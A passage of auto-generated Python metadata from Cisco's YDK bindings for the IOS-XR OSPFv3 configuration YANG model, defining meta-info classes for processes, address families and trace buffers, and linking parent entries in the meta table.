'vrfs',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Af' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Af',
False,
[
_MetaInfoClassMember('af-name', REFERENCE_ENUM_CLASS, 'Ospfv3AddressFamilyEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3AddressFamilyEnum',
[], [],
''' Address Family (AF) identifier
''',
'af_name',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('saf-name', REFERENCE_ENUM_CLASS, 'Ospfv3SubsequentAddressFamilyEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3SubsequentAddressFamilyEnum',
[], [],
''' Subsequent Address Family (SAF) identifier
''',
'saf_name',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'af',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.TraceBufs.TraceBuf' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.TraceBufs.TraceBuf',
False,
[
_MetaInfoClassMember('trace-buf-name', ATTRIBUTE, 'str' , None, None,
[], ['[\\w\\-\\.:,_@#%$\\+=\\|;]+'],
''' Name for this VRF
''',
'trace_buf_name',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
_MetaInfoClassMember('bufsize', REFERENCE_ENUM_CLASS, 'TraceBufSizeEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'TraceBufSizeEnum',
[], [],
''' Buffer size
''',
'bufsize',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'trace-buf',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.TraceBufs' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.TraceBufs',
False,
[
_MetaInfoClassMember('trace-buf', REFERENCE_LIST, 'TraceBuf' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.TraceBufs.TraceBuf',
[], [],
''' Changes the size of the specified trace
buffer
''',
'trace_buf',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'trace-bufs',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process',
False,
[
_MetaInfoClassMember('process-name', ATTRIBUTE, 'str' , None, None,
[(0, 32)], [],
''' OSPFv3 process name
''',
'process_name',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
_MetaInfoClassMember('af', REFERENCE_CLASS, 'Af' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Af',
[], [],
''' Address Family (AF)
''',
'af',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('default-vrf', REFERENCE_CLASS, 'DefaultVrf' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf',
[], [],
''' Default VRF related configuration
''',
'default_vrf',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('enable', ATTRIBUTE, 'Empty' , None, None,
[], [],
''' Enable OSPFv3
''',
'enable',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('nsr', REFERENCE_ENUM_CLASS, 'Ospfv3NsrEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3NsrEnum',
[], [],
''' Enable non-stop routing
''',
'nsr',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('protocol-shutdown', ATTRIBUTE, 'Empty' , None, None,
[], [],
''' Enable protocol shutdown
''',
'protocol_shutdown',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('trace-bufs', REFERENCE_CLASS, 'TraceBufs' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.TraceBufs',
[], [],
''' Configuration to change size of trace buffer
''',
'trace_bufs',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('vrfs', REFERENCE_CLASS, 'Vrfs' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs',
[], [],
''' VRF related configuration
''',
'vrfs',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'process',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes',
False,
[
_MetaInfoClassMember('process', REFERENCE_LIST, 'Process' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process',
[], [],
''' An OSPFv3 process
''',
'process',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'processes',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3' : {
'meta_info' : _MetaInfoClass('Ospfv3',
False,
[
_MetaInfoClassMember('dns-name-lookup', ATTRIBUTE, 'Empty' , None, None,
[], [],
''' Enable OSPFv3 router IDs as DNS names
''',
'dns_name_lookup',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('processes', REFERENCE_CLASS, 'Processes' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes',
[], [],
''' OSPFv3 processes
''',
'processes',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'ospfv3',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
}
_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Ranges.Range']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Ranges']['meta_info']
_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.DatabaseFilter.All']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.DatabaseFilter']['meta_info']
_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.DistributeList.In_']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.DistributeList']['meta_info']
_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface.Neighbors.Neighbor']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface.Neighbors']['meta_info']
_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface.DatabaseFilter.All']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface.DatabaseFilter']['meta_info']
_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface.DistributeList.In_']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface.DistributeList']['meta_info']
_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface.FastReroute.PerLink.CandidateInterfaces.CandidateInterface']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface.FastReroute.PerLink.CandidateInterfaces']['meta_info']
_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface.FastReroute.PerLink.ExcludeInterfaces.ExcludeInterface']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface.FastReroute.PerLink.ExcludeInterfaces']['meta_info']
_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface.FastReroute.PerLink.CandidateInterfaces']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface.FastReroute.PerLink']['meta_info']
_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface.FastReroute.PerLink.ExcludeInterfaces']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface.FastReroute.PerLink']['meta_info']
_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface.FastReroute.PerPrefix.CandidateInterfaces.CandidateInterface']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface.FastReroute.PerPrefix.CandidateInterfaces']['meta_info']
_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface.FastReroute.PerPrefix.ExcludeInterfaces.ExcludeInterface']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface.FastReroute.PerPrefix.ExcludeInterfaces']['meta_info']
_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface.FastReroute.PerPrefix.CandidateInterfaces']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface.FastReroute.PerPrefix']['meta_info']
_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface.FastReroute.PerPrefix.ExcludeInterfaces']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface.FastReroute.PerPrefix']['meta_info']
_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface.FastReroute.PerLink']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface.FastReroute']['meta_info']
_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface.FastReroute.PerPrefix']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface.FastReroute']['meta_info']
_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface.Authentication']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface']['meta_info']
_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface.Neighbors']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface']['meta_info']
_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface.Encryption']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface']['meta_info']
_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface.Bfd']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface']['meta_info']
_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface.DatabaseFilter']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface']['meta_info']
_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface.DistributeList']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface']['meta_info']
_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface.FastReroute']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface']['meta_info']
_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces']['meta_info']
_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.AreaScope.FastReroute.PerLink.CandidateInterfaces.CandidateInterface']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.AreaScope.FastReroute.PerLink.CandidateInterfaces']['meta_info']
_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.AreaScope.FastReroute.PerLink.ExcludeInterfaces.ExcludeInterface']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.AreaScope.FastReroute.PerLink.ExcludeInterfaces']['meta_info']
_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.AreaScope.FastReroute.PerLink.CandidateInterfaces']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.AreaScope.FastReroute.PerLink']['meta_info']
_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.AreaScope.FastReroute.PerLink.ExcludeInterfaces']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.AreaScope.FastReroute.PerLink']['meta_info']
_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.AreaScope.FastReroute.PerPrefix.CandidateInterfaces.CandidateInterface']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.AreaScope.FastReroute.PerPrefix.CandidateInterfaces']['meta_info']
_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.AreaScope.FastReroute.PerPrefix.ExcludeInterfaces.ExcludeInterface']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.AreaScope.FastReroute.PerPrefix.ExcludeInterfaces']['meta_info']
_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.AreaScope.FastReroute.PerPrefix.CandidateInterfaces']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.AreaScope.FastReroute.PerPrefix']['meta_info']
_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.AreaScope.FastReroute.PerPrefix.ExcludeInterfaces']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.AreaScope.FastReroute.PerPrefix']['meta_info']
_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.AreaScope.FastReroute.PerLink']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.AreaScope.FastReroute']['meta_info']
_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.AreaScope.FastReroute.PerPrefix']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.AreaScope.FastReroute']['meta_info']
_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.AreaScope.FastReroute']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.AreaScope']['meta_info']
_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.ShamLinks.ShamLink.Authentication']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.ShamLinks.ShamLink']['meta_info']
_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.ShamLinks.ShamLink.Encryption']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.ShamLinks.ShamLink']['meta_info']
_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.ShamLinks.ShamLink']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.ShamLinks']['meta_info']
_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.VirtualLinks.VirtualLink.Authentication']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.VirtualLinks.VirtualLink']['meta_info']
_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.VirtualLinks.VirtualLink.Encryption']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.VirtualLinks.VirtualLink']['meta_info']
_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.VirtualLinks.VirtualLink']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.VirtualLinks']['meta_info']
_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Authentication']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress']['meta_info']
_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Bfd']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress']['meta_info']
_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Ranges']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress']['meta_info']
_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Encryption']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress']['meta_info']
_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Nssa']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress']['meta_info']
_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.DatabaseFilter']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress']['meta_info']
_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.DistributeList']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress']['meta_info']
_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress']['meta_info']
_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.AreaScope']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress']['meta_info']
_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.ShamLinks']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress']['meta_info']
_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.VirtualLinks']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress']['meta_info']
_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Ranges.Range']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Ranges']['meta_info']
_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.DatabaseFilter.All']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.DatabaseFilter']['meta_info']
_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.DistributeList.In_']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.DistributeList']['meta_info']
_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface.Neighbors.Neighbor']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface.Neighbors']['meta_info']
_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface.DatabaseFilter.All']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface.DatabaseFilter']['meta_info']
_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface.DistributeList.In_']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface.DistributeList']['meta_info']
_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface.FastReroute.PerLink.CandidateInterfaces.CandidateInterface']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface.FastReroute.PerLink.CandidateInterfaces']['meta_info']
_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface.FastReroute.PerLink.ExcludeInterfaces.ExcludeInterface']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface.FastReroute.PerLink.ExcludeInterfaces']['meta_info']
_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface.FastReroute.PerLink.CandidateInterfaces']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface.FastReroute.PerLink']['meta_info']
_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface.FastReroute.PerLink.ExcludeInterfaces']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface.FastReroute.PerLink']['meta_info']
_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface.FastReroute.PerPrefix.CandidateInterfaces.CandidateInterface']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface.FastReroute.PerPrefix.CandidateInterfaces']['meta_info']
_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface.FastReroute.PerPrefix.ExcludeInterfaces.ExcludeInterface']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface.FastReroute.PerPrefix.ExcludeInterfaces']['meta_info']
_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface.FastReroute.PerPrefix.CandidateInterfaces']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface.FastReroute.PerPrefix']['meta_info']
_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface.FastReroute.PerPrefix.ExcludeInterfaces']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface.FastReroute.PerPrefix']['meta_info']
_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface.FastReroute.PerLink']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface.FastReroute']['meta_info']
_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface.FastReroute.PerPrefix']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface.FastReroute']['meta_info']
_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface.Authentication']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface']['meta_info']
_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface.Neighbors']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface']['meta_info']
_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface.Encryption']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface']['meta_info']
_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface.Bfd']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface']['meta_info']
_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface.DatabaseFilter']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface']['meta_info']
_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface.DistributeList']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface']['meta_info']
_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface.FastReroute']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface']['meta_info']
_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces']['meta_info']
_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.AreaScope.FastReroute.PerLink.CandidateInterfaces.CandidateInterface']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.AreaScope.FastReroute.PerLink.CandidateInterfaces']['meta_info']
_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.AreaScope.FastReroute.PerLink.ExcludeInterfaces.ExcludeInterface']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.AreaScope.FastReroute.PerLink.ExcludeInterfaces']['meta_info']
_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.AreaScope.FastReroute.PerLink.CandidateInterfaces']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.AreaScope.FastReroute.PerLink']['meta_info']
_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.AreaScope.FastReroute.PerLink.ExcludeInterfaces']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.AreaScope.FastReroute.PerLink']['meta_info']
_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.AreaScope.FastReroute.PerPrefix.CandidateInterfaces.CandidateInterface']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.AreaScope.FastReroute.PerPrefix.CandidateInterfaces']['meta_info']
